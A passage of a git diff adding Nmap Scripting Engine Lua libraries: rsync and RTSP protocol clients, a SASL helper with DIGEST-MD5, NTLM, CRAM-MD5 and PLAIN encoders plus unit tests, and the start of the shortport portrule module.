+ entry.name = iface.name
+ table.insert(entry, iface.desc)
+ table.insert(entry, { name = "Addresses", iface.addrs })
+ table.insert(results, entry)
+ end
+ return true, results
+ end,
+
+ -- Closes the connection to the server
+ close = function(self)
+ return self.comm:close()
+ end,
+}
+
+return _ENV;
diff --git a/nselib/rsync.lua b/nselib/rsync.lua
new file mode 100644
index 0000000..f477524
--- /dev/null
+++ b/nselib/rsync.lua
@@ -0,0 +1,175 @@
+---
+-- A minimalist RSYNC (remote file sync) library
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+local base64 = require "base64"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local openssl = stdnse.silent_require "openssl"
+_ENV = stdnse.module("rsync", stdnse.seeall)
+
+
+-- The Helper class serves as the main interface for script writers
+Helper = {
+
+ -- Creates a new instance of the Helper class
+ -- @param host table as received by the action function
+ -- @param port table as received by the action function
+ -- @param options table containing any additional options
+ -- @return o instance of Helper
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, options = options or {} }
+ assert(o.options.module, "No rsync module was specified, aborting ...")
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Handles send and receive of control messages
+ -- @param data string containing the command to send
+ -- @return status true on success, false on failure
+ -- @return data containing the response from the server
+ -- err string, if status is false
+ ctrl_exch = function(self, data)
+ local status, err = self.socket:send(data.."\n")
+ if ( not(status) ) then
+ return false, err
+ end
+ local status, data = self.socket:receive_buf(match.pattern_limit("\n", 2048), false)
+ if( not(status) ) then
+ return false, err
+ end
+ return true, data
+ end,
+
+ -- Connects to the rsync server
+ -- @return status, true on success, false on failure
+ -- @return err string containing an error message if status is false
+ connect = function(self, socket)
+ self.socket = socket or nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout or 5000)
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then
+ return false, err
+ end
+
+ local data
+ status, data = self:ctrl_exch("@RSYNCD: 29")
+ if ( not(status) ) then
+ return false, data
+ end
+ if ( not(data:match("^@RSYNCD: [%.%d]+$")) ) then
+ return false, "Protocol error"
+ end
+ return true
+ end,
+
+ -- Authenticates against the rsync module. If no username is given, assume
+ -- no authentication is required.
+ -- @param username [optional] string containing the username
+ -- @param password [optional] string containing the password
+ login = function(self, username, password)
+ password = password or ""
+ local status, data = self:ctrl_exch(self.options.module)
+ if (not(status)) then
+ return false, data
+ end
+
+ local chall
+ if ( data:match("@RSYNCD: OK") ) then
+ return true, "No authentication was required"
+ else
+ chall = data:match("^@RSYNCD: AUTHREQD (.*)$")
+ if ( not(chall) and data:match("^@ERROR: Unknown module") ) then
+ return false, data:match("^@ERROR: (.*)$")
+ elseif ( not(chall) ) then
+ return false, "Failed to retrieve challenge"
+ end
+ end
+
+ if ( chall and not(username) ) then
+ return false, "Authentication required"
+ end
+
+ local md4 = openssl.md4("\0\0\0\0" .. password .. chall)
+ local resp = base64.enc(md4):sub(1,-3)
+ status, data = self:ctrl_exch(username .. " " .. resp)
+ if (not(status)) then
+ return false, data
+ end
+
+ if ( data == "@RSYNCD: OK" ) then
+ return true, "Authentication successful"
+ end
+ return false, "Authentication failed"
+ end,
+
+ -- Lists accessible modules from the rsync server
+ -- @return status true on success, false on failure
+ -- @return modules table containing a list of modules
+ listModules = function(self)
+ local status, data = self.socket:send("\n")
+ if (not(status)) then
+ return false, data
+ end
+
+ local modules = {}
+ while(true) do
+ status, data = self.socket:receive_buf(match.pattern_limit("\n", 2048), false)
+ if (not(status)) then
+ return false, data
+ end
+ if ( data == "@RSYNCD: EXIT" ) then
+ break
+ else
+ table.insert(modules, data)
+ end
+ end
+ return true, modules
+ end,
+
+ -- Lists the files available for the directory/module
+ -- TODO: Add support for parsing results, seemed straight forward at
+ -- first, but wasn't.
+ listFiles = function(self)
+ -- list recursively and enable MD4 checksums
+ local data = ("--server\n--sender\n-rc\n.\n%s\n\n"):format(self.options.module)
+ local status, data = self.socket:send(data)
+ if ( not(status) ) then
+ return false, data
+ end
+ status, data = self.socket:receive_bytes(4)
+ if ( not(status) ) then
+ return false, data
+ end
+
+ status, data = self.socket:send("\0\0\0\0")
+ if ( not(status) ) then
+ return false, data
+ end
+
+ status, data = self.socket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return false, data
+ end
+
+ local len = string.unpack("<I2", data)
+ status, data = self.socket:receive_buf(match.numbytes(len), true)
+ if ( not(status) ) then
+ return false, data
+ end
+
+ -- Parsing goes here
+ end,
+
+ -- Disconnects from the rsync server
+ -- @return status true on success, false on failure
+ disconnect = function(self) return self.socket:close() end,
+
+}
+
+return _ENV;
diff --git a/nselib/rtsp.lua b/nselib/rtsp.lua
new file mode 100644
index 0000000..cd97229
--- /dev/null
+++ b/nselib/rtsp.lua
@@ -0,0 +1,291 @@
+---
+-- This Real Time Streaming Protocol (RTSP) library implements only a minimal
+-- subset of the protocol needed by the current scripts.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+-- The library contains the following classes:
+--
+-- * <code>Request</code>
+-- ** This class contains the functions needed to create the RTSP request
+--
+-- * <code>Response</code>
+-- ** This class contains the functions needed to parse the RTSP response
+--
+-- * <code>Client</code>
+-- ** This class contains the RTSP client, a class responsible for sending
+-- and receiving requests and responses to/from the server
+--
+-- * <code>Helper</code>
+-- ** This class serves as the main interface for script writers
+--
+-- The following sample code shows how to use the library:
+-- <code>
+-- local helper = rtsp.Helper:new(host, port)
+-- local status = helper:connect()
+-- local response
+-- status, response = helper:describe(url)
+-- helper:close()
+-- </code>
+
+--
+-- Version 0.1
+-- Created 10/23/2011 - v0.1 - Created by Patrik Karlsson
+--
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+_ENV = stdnse.module("rtsp", stdnse.seeall)
+
+-- The RTSP Request object
+Request = {
+
+ --- Creates a new Request instance
+ -- @return o instance of Request
+ new = function(self, url, headers)
+ local o = { url = url, req = {}, headers = headers or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the RTSP Request method
+ -- @param method string containing the RTSP method
+ setMethod = function(self, method)
+ self.method = method
+ end,
+
+ --- Sets the RTSP sequence number
+ -- @param cseq number containing the sequence number
+ setCSeq = function(self, cseq)
+ self.cseq = cseq
+ end,
+
+ --- Adds an optional header to the RTSP request
+ -- @param header string containing the header name
+ -- @param value string containing the header value
+ addHeader = function(self, header, value)
+ table.insert( self.headers, { header = value } )
+ end,
+
+ --- Converts the Request to a string
+ --
+ -- @return req string containing the request as a string
+ __tostring = function(self)
+ assert(self.cseq, "Request is missing required header CSeq")
+ assert(self.url, "Request is missing URL")
+
+ local req = {
+ ("%s %s RTSP/1.0"):format(self.method, self.url),
+ ("CSeq: %d"):format(self.cseq),
+ table.unpack(self.headers)
+ }
+ table.insert(req, "")
+ table.insert(req, "")
+ return table.concat(req, "\r\n")
+ end,
+}
+
+-- The RTSP response instance
+Response = {
+
+ --- Creates a new Response instance
+ -- @param data string containing the unparsed data
+ new = function(self, data)
+ assert(data, "No data was supplied")
+ local o = {
+ raw = data,
+ status = tonumber(data:match("^RTSP%/1%.0 (%d*) "))
+ }
+
+ -- Split the response into a temporary array
+ local tmp = stringaux.strsplit("\r\n", data)
+ if ( not(tmp) ) then return nil end
+
+ -- we should have atleast one entry
+ if ( #tmp > 1 ) then
+ o.headers = {}
+ for i=2, #tmp do
+ -- if we have an empty line, this should be the end of headers
+ if ( #tmp[i] == 0 ) then break end
+ local key, val = tmp[i]:match("^(.-): (.*)$")
+ -- create a key per header name
+ o.headers[key] = val
+ end
+ end
+
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+}
+
+
+-- RTSP Client class
+Client = {
+
+ -- Creates a new Client instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @return o instance of Client
+ new = function(self, host, port)
+ local o = {
+ host = host,
+ port = port,
+ cseq = 0,
+ headers = { },
+ retries = 3,
+ timeout = 10 * 1000,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the number of retries for socket reads
+ -- @param retries number containing the number of retries
+ setRetries = function(self, retries) self.retries = retries end,
+
+ --- Sets the socket connection timeout in ms
+ -- @param timeout number containing the timeout in ms
+ setTimeout = function(self, timeout) self.timeout = timeout end,
+
+ --- Adds a RTSP header to the request
+ -- @param header string containing the header name
+ -- @param value string containing the header value
+ addHeader = function(self, header, value)
+ table.insert(self.headers, { ("%s: %s"):format(header,value) } )
+ end,
+
+ --- Connects to the RTSP server
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message on failure
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(self.timeout)
+ local status = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then
+ stdnse.debug2("Failed to connect to the server: %s", self.host.ip)
+ return false, ("Failed to connect to the server: %s"):format(self.host.ip)
+ end
+ return true
+ end,
+
+ --- Sends a DESCRIBE request to the server and receives the response
+ -- @param url string containing the RTSP URL
+ -- @return status true on success, false on failure
+ -- @return response Response instance on success
+ -- err string containing the error message on failure
+ describe = function(self, url)
+ local req = Request:new(url, self.headers)
+ req:setMethod("DESCRIBE")
+ return self:exch(req)
+ end,
+
+ options = function(self, url)
+ local req = Request:new(url, self.headers)
+ req:setMethod("OPTIONS")
+ return self:exch(req)
+ end,
+
+ --- Sends a request to the server and receives the response and attempts
+ -- to retry if either send or receive fails.
+ -- @param request instance of Request
+ -- @return status true on success, false on failure
+ -- @return response Response instance on success
+ -- err string containing the error message on failure
+ exch = function(self, req)
+ local retries = self.retries
+ local status, data
+ self.cseq = self.cseq + 1
+ req:setCSeq( self.cseq )
+
+ repeat
+ local err
+ status, err = self.socket:send( tostring(req) )
+ -- check if send was successful, in case it wasn't AND
+ -- this is our last retry, ABORT
+ if ( not(status) and 0 == retries - 1 ) then
+ stdnse.debug2("Failed to send request to server (%s)", err)
+ return false, ("Failed to send request to server (%s)"):format(err)
+ -- if send was successful, attempt to receive the response
+ elseif ( status ) then
+ status, data = self.socket:receive()
+ -- if we got the response all right, break out of retry loop
+ if ( status ) then break end
+ end
+ -- if either send or receive fails, re-connect the socket
+ if ( not(status) ) then
+ self:close()
+ local status, err = self:connect()
+ -- if re-connect fails, BAIL out of here
+ if ( not(status) ) then
+ stdnse.debug2("Failed to reconnect socket to server (%s)", err)
+ return false, ("Failed to reconnect socket to server (%s)"):format(err)
+ end
+ end
+ retries = retries - 1
+ until( status or retries == 0 )
+
+ if( not(status) ) then
+ stdnse.debug2("Failed to receive response from server (%s)", data)
+ return false, ("Failed to receive response from server (%s)"):format(data)
+ end
+
+ return true, Response:new(data)
+ end,
+
+ --- Closes the RTSP socket with the server
+ close = function(self)
+ return self.socket:close()
+ end,
+
+}
+
+-- The Helper class is the main script interface
+Helper = {
+
+ -- Creates a new Helper instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @return o instance of Client
+ new = function(self, host, port)
+ local o = { host = host, port = port, client = Client:new(host, port) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the RTSP server
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message on failure
+ connect = function(self)
+ return self.client:connect()
+ end,
+
+ -- Closes the RTSP socket with the server
+ close = function(self)
+ return self.client:close()
+ end,
+
+ -- Sends a DESCRIBE request to the server and receives the response
+ --
+ -- @param url string containing the RTSP URL
+ -- @return status true on success, false on failure
+ -- @return response string containing the unparsed RTSP response on success
+ -- err string containing the error message on failure
+ describe = function(self, url)
+ return self.client:describe(url)
+ end,
+
+ options = function(self, url)
+ return self.client:options(url)
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/sasl.lua b/nselib/sasl.lua
new file mode 100644
index 0000000..910e1f3
--- /dev/null
+++ b/nselib/sasl.lua
@@ -0,0 +1,510 @@
+---
+-- Simple Authentication and Security Layer (SASL).
+--
+-- The library contains some low level functions and a high level class.
+--
+-- The <code>DigestMD5</code> class contains all code necessary to calculate
+-- a DIGEST-MD5 response based on the servers challenge and the other
+-- necessary arguments.
+-- It can be called through the SASL helper or directly like this:
+-- <code>
+-- local dmd5 = DigestMD5:new(chall, user, pass, "AUTHENTICATE", nil, "imap")
+-- local digest = dmd5:calcDigest()
+-- </code>
+--
+-- The <code>NTLM</code> class contains all code necessary to calculate a
+-- NTLM response based on the servers challenge and the other necessary
+-- arguments. It can be called through the SASL helper or
+-- directly like this:
+-- <code>
+-- local ntlm = NTLM:new(chall, user, pass)
+-- local response = ntlm:calcResponse()
+-- </code>
+--
+-- The Helper class contains the high level methods:
+-- * <code>new</code>: This is the SASL object constructor.
+-- * <code>set_mechanism</code>: Sets the authentication mechanism to use.
+-- * <code>set_callback</code>: Sets the encoding function to use.
+-- * <code>encode</code>: Encodes the parameters according to the
+-- authentication mechanism.
+-- * <code>reset_callback</code>: Resets the authentication function.
+-- * <code>reset</code>: Resets the SASL object.
+--
+-- The script writers should use the Helper class to create SASL objects,
+-- and they can also use the low level functions to customize their
+-- encoding functions.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- Version 0.2
+-- Created 07/17/2011 - v0.1 - Created by Djalal Harouni
+-- Revised 07/18/2011 - v0.2 - Added NTLM, DIGEST-MD5 classes
+
+
+local smbauth = require "smbauth"
+local stdnse = require "stdnse"
+local string = require "string"
+local unicode = require "unicode"
+_ENV = stdnse.module("sasl", stdnse.seeall)
+
+local HAVE_SSL, openssl = pcall(require, 'openssl')
+if ( not(HAVE_SSL) ) then
+ stdnse.debug1(
+ "sasl.lua: OpenSSL not present, SASL support limited.")
+end
+local MECHANISMS = { }
+
+if HAVE_SSL then
+ -- Calculates a DIGEST MD5 response
+ DigestMD5 = {
+
+ --- Instantiates DigestMD5
+ --
+ -- @param chall string containing the base64 decoded challenge
+ -- @return a new instance of DigestMD5
+ new = function(self, chall, username, password, method, uri, service, realm)
+ local o = { nc = 0,
+ chall = chall,
+ challnvs = {},
+ username = username,
+ password = password,
+ method = method,
+ uri = uri,
+ service = service,
+ realm = realm }
+ setmetatable(o, self)
+ self.__index = self
+ o:parseChallenge()
+ return o
+ end,
+
+ -- parses a challenge received from the server
+ -- takes care of both quoted and unquoted identifiers
+ -- regardless of what RFC says
+ parseChallenge = function(self)
+ local results = {}
+ if self.chall then
+ local start, stop = self.chall:find("^[Dd][Ii][Gg][Ee][Ss][Tt]%s+")
+ stop = stop or 0
+ while(true) do
+ local name, value
+ start, stop, name = self.chall:find("([^=]*)=%s*", stop + 1)
+ if ( not(start) ) then break end
+ if ( self.chall:sub(stop + 1, stop + 1) == "\"" ) then
+ start, stop, value = self.chall:find("(.-)\"", stop + 2)
+ else
+ start, stop, value = self.chall:find("([^,]*)", stop + 1)
+ end
+ name = name:lower()
+ --if name == "digest realm" then name="realm" end
+ self.challnvs[name] = value
+ start, stop = self.chall:find("%s*,%s*", stop + 1)
+ if ( not(start) ) then break end
+ end
+ end
+ end,
+
+ --- Calculates the digest
+ calcDigest = function( self )
+ local uri = self.uri or ("%s/%s"):format(self.service, "localhost")
+ local realm = self.realm or self.challnvs.realm or ""
+ local cnonce = stdnse.tohex(openssl.rand_bytes( 8 ))
+ local qop = "auth"
+ local qop_not_specified
+ if self.challnvs.qop then
+ qop_not_specified = false
+ else
+ qop_not_specified = true
+ end
+ self.nc = self.nc + 1
+ local A1_part1 = openssl.md5(self.username .. ":" .. (self.challnvs.realm or "") .. ":" .. self.password)
+ local A1 = stdnse.tohex(openssl.md5(A1_part1 .. ":" .. self.challnvs.nonce .. ':' .. cnonce))
+ local A2 = stdnse.tohex(openssl.md5(("%s:%s"):format(self.method, uri)))
+ local digest = stdnse.tohex(openssl.md5(A1 .. ":" .. self.challnvs.nonce .. ":" ..
+ ("%08d"):format(self.nc) .. ":" .. cnonce .. ":" ..
+ qop .. ":" .. A2))
+
+ local b1
+ if not self.challnvs.algorithm or self.challnvs.algorithm:upper() == "MD5" then
+ b1 = stdnse.tohex(openssl.md5(self.username..":"..(self.challnvs.realm or "")..":"..self.password))
+ else
+ b1 = A1
+ end
+ -- should we make it work when qop == "auth-int" (we would need entity-body here, which
+ -- might be complicated)?
+
+ local digest_http
+ if not qop_not_specified then
+ digest_http = stdnse.tohex(openssl.md5(b1 .. ":" .. self.challnvs.nonce .. ":" ..
+ ("%08d"):format(self.nc) .. ":" .. cnonce .. ":" .. qop .. ":" .. A2))
+ else
+ digest_http = stdnse.tohex(openssl.md5(b1 .. ":" .. self.challnvs.nonce .. ":" .. A2))
+ end
+
+ local response = "username=\"" .. self.username .. "\""
+ .. (",%s=\"%s\""):format("realm", realm)
+ .. (",%s=\"%s\""):format("nonce", self.challnvs.nonce)
+ .. (",%s=\"%s\""):format("cnonce", cnonce)
+ .. (",%s=%08d"):format("nc", self.nc)
+ .. (",%s=%s"):format("qop", "auth")
+ .. (",%s=\"%s\""):format("digest-uri", uri)
+ .. (",%s=%s"):format("response", digest)
+ .. (",%s=%s"):format("charset", "utf-8")
+
+ -- response_table is used in http library because the request should
+ -- be a little bit different then the string generated above
+ local response_table = {
+ username = self.username,
+ realm = realm,
+ nonce = self.challnvs.nonce,
+ cnonce = cnonce,
+ nc = ("%08d"):format(self.nc),
+ qop = qop,
+ ["digest-uri"] = uri,
+ algorithm = self.challnvs.algorithm,
+ response = digest_http
+ }
+
+ return response, response_table
+ end,
+
+ }
+
+ -- The NTLM class handling NTLM challenge response authentication
+ NTLM = {
+
+ --- Creates a new instance of the NTLM class
+ --
+ -- @param chall string containing the challenge received from the server
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @return new instance of NTML
+ new = function(self, chall, username, password)
+ local o = { nc = 0,
+ chall = chall,
+ username = username,
+ password = password}
+ setmetatable(o, self)
+ self.__index = self
+ o:parseChallenge()
+ return o
+ end,
+
+ --- Parses the NTLM challenge as received from the server
+ parseChallenge = function(self)
+ local NTLM_NegotiateUnicode = 0x00000001
+ local NTLM_NegotiateExtendedSecurity = 0x00080000
+ local pos, _, message_type
+
+ _, message_type, _, _,
+ _, self.flags, self.chall, _,
+ _, _, _, pos = string.unpack("<c8 I4 I2 I2 I4 I4 c8 I8 I2 I2 I4", self.chall)
+
+ if ( message_type ~= 0x02 ) then
+ error("NTLM parseChallenge expected message type: 0x02")
+ end
+
+ self.is_extended = ( (self.flags & NTLM_NegotiateExtendedSecurity) == NTLM_NegotiateExtendedSecurity )
+ local is_unicode = ( (self.flags & NTLM_NegotiateUnicode) == NTLM_NegotiateUnicode )
+
+ self.workstation = "NMAP-HOST"
+ self.domain = self.username:match("^(.-)\\(.*)$") or "DOMAIN"
+
+ if ( is_unicode ) then
+ self.workstation = unicode.utf8to16(self.workstation)
+ self.username = unicode.utf8to16(self.username)
+ self.domain = unicode.utf8to16(self.domain)
+ end
+ end,
+
+ --- Calculates the response
+ calcResponse = function(self)
+ local ntlm, lm = smbauth.get_password_response(nil, self.username, self.domain, self.password, nil, "v1", self.chall, self.is_extended)
+ local msg_type = 3
+ local response
+ local BASE_OFFSET = 72
+ local offset
+ local encrypted_random_sesskey = ""
+ local flags = 0xa2888205 -- (NTLM_NegotiateUnicode | \
+ -- NTLM_RequestTarget | \
+ -- NTLM_NegotiateNTLM | \
+ -- NTLM_NegotiateAlwaysSign | \
+ -- NTLM_NegotiateExtendedSecurity | \
+ -- NTLM_NegotiateTargetInfo | \
+ -- NTLM_NegotiateVersion | \
+ -- NTLM_Negotiate128 | \
+ -- NTLM_Negotiate56)
+
+ response = string.pack("<zI4", "NTLMSSP", msg_type)
+
+ offset = BASE_OFFSET + #self.workstation + #self.username + #self.domain
+ response = response .. string.pack("<I2I2I4", #lm, #lm, offset)
+
+ offset = offset + #lm
+ response = response .. string.pack("<I2I2I4", #ntlm, #ntlm, offset)
+
+ offset = BASE_OFFSET
+ response = response .. string.pack("<I2I2I4", #self.domain, #self.domain, offset)
+
+ offset = BASE_OFFSET + #self.domain
+ response = response .. string.pack("<I2I2I4", #self.username, #self.username, offset)
+
+ offset = BASE_OFFSET + #self.domain + #self.username
+ response = response .. string.pack("<I2I2I4", #self.workstation, #self.workstation, offset)
+
+ offset = offset + #self.workstation + #lm + #ntlm
+ response = response .. string.pack("<I2I2I4", #encrypted_random_sesskey, #encrypted_random_sesskey, offset)
+
+ response = response .. string.pack("<I4", flags)
+
+ -- add version info (major 5, minor 1, build 2600, reserved(1-3) 0,
+ -- NTLM Revision 15)
+ response = response .. string.pack("<BBI2 BBBB", 5, 1, 2600, 0, 0, 0, 15)
+ response = response .. self.domain .. self.username .. self.workstation .. ntlm .. lm .. encrypted_random_sesskey
+
+ return response
+ end
+
+ }
+
+ --- Encodes the parameters using the <code>CRAM-MD5</code> mechanism.
+ --
+ -- @param username string.
+ -- @param password string.
+ -- @param challenge The challenge as it is returned by the server.
+ -- @return string The encoded string on success, or nil if Nmap was
+ -- compiled without OpenSSL.
+ function cram_md5_enc(username, password, challenge)
+ local encode = stdnse.tohex(openssl.hmac('md5',
+ password,
+ challenge))
+ return username.." "..encode
+ end
+
+ --- Encodes the parameters using the <code>DIGEST-MD5</code> mechanism.
+ --
+ -- @param username string.
+ -- @param password string.
+ -- @param challenge The challenge as it is returned by the server.
+ -- @param service string containing the service that is requesting the
+ -- encryption (eg. POP, IMAP, STMP)
+ -- @param uri string containing the URI
+ -- @return string The encoded string on success, or nil if Nmap was
+ -- compiled without OpenSSL.
+ function digest_md5_enc(username, password, challenge, service, uri)
+ return DigestMD5:new(challenge,
+ username,
+ password,
+ "AUTHENTICATE",
+ uri,
+ service):calcDigest()
+ end
+
+ function ntlm_enc(username, password, challenge)
+ return NTLM:new(challenge, username, password):calcResponse()
+ end
+
+else
+ function cram_md5_enc()
+ error("cram_md5_enc not supported without OpenSSL")
+ end
+
+ function digest_md5_enc()
+ error("digest_md5_enc not supported without OpenSSL")
+ end
+
+ function ntlm_enc()
+ error("ntlm_enc not supported without OpenSSL")
+ end
+end
+
+MECHANISMS["CRAM-MD5"] = cram_md5_enc
+MECHANISMS["DIGEST-MD5"] = digest_md5_enc
+MECHANISMS["NTLM"] = ntlm_enc
+
+
+--- Encodes the parameters using the <code>PLAIN</code> mechanism.
+--
+-- @param username string.
+-- @param password string.
+-- @return string The encoded string.
+function plain_enc(username, password)
+ return username.."\0"..username.."\0"..password
+end
+MECHANISMS["PLAIN"] = plain_enc
+
+
+--- Checks if the given mechanism is supported by this library.
+--
+-- @param mechanism string to check.
+-- @return mechanism if it is supported, otherwise nil.
+-- @return callback The mechanism encoding function on success.
+function check_mechanism(mechanism)
+ local lmech, lcallback
+ if mechanism then
+ mechanism = string.upper(mechanism)
+ if MECHANISMS[mechanism] then
+ lmech = mechanism
+ lcallback = MECHANISMS[mechanism]
+ else
+ stdnse.debug3(
+ "sasl library does not support '%s' mechanism", mechanism)
+ end
+ end
+ return lmech, lcallback
+end
+
+--- This is the SASL Helper class, script writers should use it to create
+-- SASL objects.
+--
+-- Usage of the Helper class:
+--
+-- local sasl_enc = sasl.Helper.new("CRAM-MD5")
+-- local result = sasl_enc:encode(username, password, challenge)
+--
+-- sasl_enc:set_mechanism("LOGIN")
+-- local user, pass = sasl_enc:encode(username, password)
+Helper = {
+
+ --- SASL object constructor.
+ --
+ -- @param mechanism The authentication mechanism to use
+ -- (optional parameter).
+ -- @param callback The encoding function associated with the
+ -- mechanism (optional parameter).
+ -- @usage
+ -- local sasl_enc = sasl.Helper:new()
+ -- local sasl_enc = sasl.Helper:new("CRAM-MD5")
+ -- local sasl_enc = sasl.Helper:new("CRAM-MD5", my_cram_md5_func)
+ -- @return sasl object.
+ new = function(self, mechanism, callback)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ if self:set_mechanism(mechanism) then
+ self:set_callback(callback)
+ end
+ return o
+ end,
+
+ --- Sets the SASL mechanism to use.
+ --
+ -- @param string The authentication mechanism.
+ -- @usage
+ -- local sasl_enc = sasl.Helper:new()
+ -- sasl_enc:set_mechanism("CRAM-MD5")
+ -- sasl_enc:set_mechanism("PLAIN")
+ -- @return mechanism on success, or nil if the mechanism is not
+ -- supported.
+ set_mechanism = function(self, mechanism)
+ self.mechanism, self.callback = check_mechanism(mechanism)
+ return self.mechanism
+ end,
+
+ --- Associates A custom encoding function with the authentication
+ -- mechanism.
+ --
+ -- Note that the SASL object by default will have its own
+ -- callback functions.
+ --
+ -- @param callback The function associated with the authentication
+ -- mechanism.
+ -- @usage
+ -- -- My personal CRAM-MD5 encode function
+ -- function cram_md5_encode_func(username, password, challenge)
+ -- ...
+ -- end
+ -- local sasl_enc = sasl.Helper:new("CRAM-MD5")
+ -- sasl_enc:set_callback(cram_md5_handle_func)
+ -- local result = sasl_enc:encode(username, password, challenge)
+ set_callback = function(self, callback)
+ if callback then
+ self.callback = callback
+ end
+ end,
+
+ --- Resets the encoding function to the default SASL
+ -- callback function.
+ reset_callback = function(self)
+ self.callback = MECHANISMS[self.mechanism]
+ end,
+
+ --- Resets all the data of the SASL object.
+ --
+ -- This method will clear the specified SASL mechanism.
+ reset = function(self)
+ self:set_mechanism()
+ end,
+
+ --- Returns the current authentication mechanism.
+ --
+ -- @return mechanism on success, or nil on failures.
+ get_mechanism = function(self)
+ return self.mechanism
+ end,
+
+ --- Encodes the parameters according to the specified mechanism.
+ --
+ -- @param ... The parameters to encode.
+ -- @usage
+ -- local sasl_enc = sasl.Helper:new("CRAM-MD5")
+ -- local result = sasl_enc:encode(username, password, challenge)
+ -- local sasl_enc = sasl.Helper:new("PLAIN")
+ -- local result = sasl_enc:encode(username, password)
+ -- @return string The encoded string on success, or nil on failures.
+ encode = function(self, ...)
+ return self.callback(...)
+ end,
+}
+
+local unittest = require "unittest"
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+-- Crypto tests require OpenSSL
+if HAVE_SSL then
+ local _ = "ignored"
+
+ local object = DigestMD5:new('Digest realm="test", domain="/HTTP/Digest",\z
+ nonce="c8563a5b367e66b3693fbb07a53a30ba"',
+ _, _, _, _)
+ test_suite:add_test(unittest.keys_equal(
+ object.challnvs,
+ {
+ nonce='c8563a5b367e66b3693fbb07a53a30ba',
+ realm='test',
+ domain='/HTTP/Digest',
+ }
+ ))
+
+ object = DigestMD5:new('Digest nonce="9e4ab724d272474ab13b64d75300a47b", \z
+ opaque="de40b82666bd5fe631a64f3b2d5a019e", \z
+ realm="me@kennethreitz.com", qop=auth',
+ _, _, _, _)
+ test_suite:add_test(unittest.keys_equal(
+ object.challnvs,
+ {
+ nonce='9e4ab724d272474ab13b64d75300a47b',
+ opaque='de40b82666bd5fe631a64f3b2d5a019e',
+ realm='me@kennethreitz.com',
+ qop='auth',
+ }
+ ))
+
+ object = DigestMD5:new('realm=test, domain="/HTTP/Digest",\tnonce=c8563a5b367e66b3693fbb07a53a30ba',
+ _, _, _, _)
+ test_suite:add_test(unittest.keys_equal(
+ object.challnvs,
+ {
+ nonce='c8563a5b367e66b3693fbb07a53a30ba',
+ realm='test',
+ domain='/HTTP/Digest',
+ }
+ ))
+end
+
+return _ENV;
diff --git a/nselib/shortport.lua b/nselib/shortport.lua
new file mode 100644
index 0000000..879fdcd
--- /dev/null
+++ b/nselib/shortport.lua
@@ -0,0 +1,376 @@
+---
+-- Functions for building short portrules.
+--
+-- Since portrules are mostly the same for many scripts, this
+-- module provides functions for the most common tests.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local tableaux = require "tableaux"
+local comm
+_ENV = stdnse.module("shortport", stdnse.seeall)
+
+-- Just like tableaux.contains, but can match simple port ranges
+local function port_includes(t, value)
+ for _, elem in ipairs(t) do
+ if elem == value then
+ return true
+ elseif type(elem) == "string" then
+ local pstart, pend = elem:match("^(%d+)%-(%d+)$")
+ if not pstart then
+ pstart = elem:match("^(%d+)$")
+ pend = pstart
+ end
+ pstart, pend = tonumber(pstart), tonumber(pend)
+ assert(pstart,"Incorrect port range specification.")
+ assert(pstart<=pend,"Incorrect port range specification, the starting port should have a smaller value than the ending port.")
+ assert(pstart>-1 and pend<65536, "Port range number out of range (0-65535).")
+ if value >= pstart and value <= pend then
+ return true
+ end
+ end
+ end
+ return false
+end
+
+--- Check if the port and its protocol are in the exclude directive.
+--
+-- @param port A port number.
+-- @param proto The protocol to match against, default <code>"tcp"</code>.
+-- @return True if the <code>port</code> and <code>protocol</code> are
+-- in the exclude directive.
+port_is_excluded = function(port, proto)
+ proto = proto or "tcp"
+ return nmap.port_is_excluded(port, proto)
+end
+
+--- Return a portrule that returns true when given an open port matching a
+-- single port number or a list of port numbers.
+-- @param ports A single port number or a list of port numbers.
+-- @param protos The protocol or list of protocols to match against, default
+-- <code>"tcp"</code>.
+-- @param states A state or list of states to match against, default
+-- {<code>"open"</code>, <code>"open|filtered"</code>}.
+-- @return Function for the portrule.
+-- @usage portrule = shortport.portnumber({80, 443})
+portnumber = function(ports, protos, states)
+ protos = protos or "tcp"
+ states = states or {"open", "open|filtered"}
+
+ if type(ports) ~= "table" then
+ ports = {ports}
+ end
+ if type(protos) ~= "table" then
+ protos = {protos}
+ end
+ if type(states) ~= "table" then
+ states = {states}
+ end
+
+ return function(host, port)
+ return port_includes(ports, port.number)
+ and tableaux.contains(protos, port.protocol, true)
+ and tableaux.contains(states, port.state, true)
+ end
+end
+
+--- Return a portrule that returns true when given an open port with a
+-- service name matching a single service name or a list of service
+-- names.
+--
+-- A service name is something like <code>"http"</code>, <code>"https"</code>,
+-- <code>"smtp"</code>, or <code>"ftp"</code>. These service names are
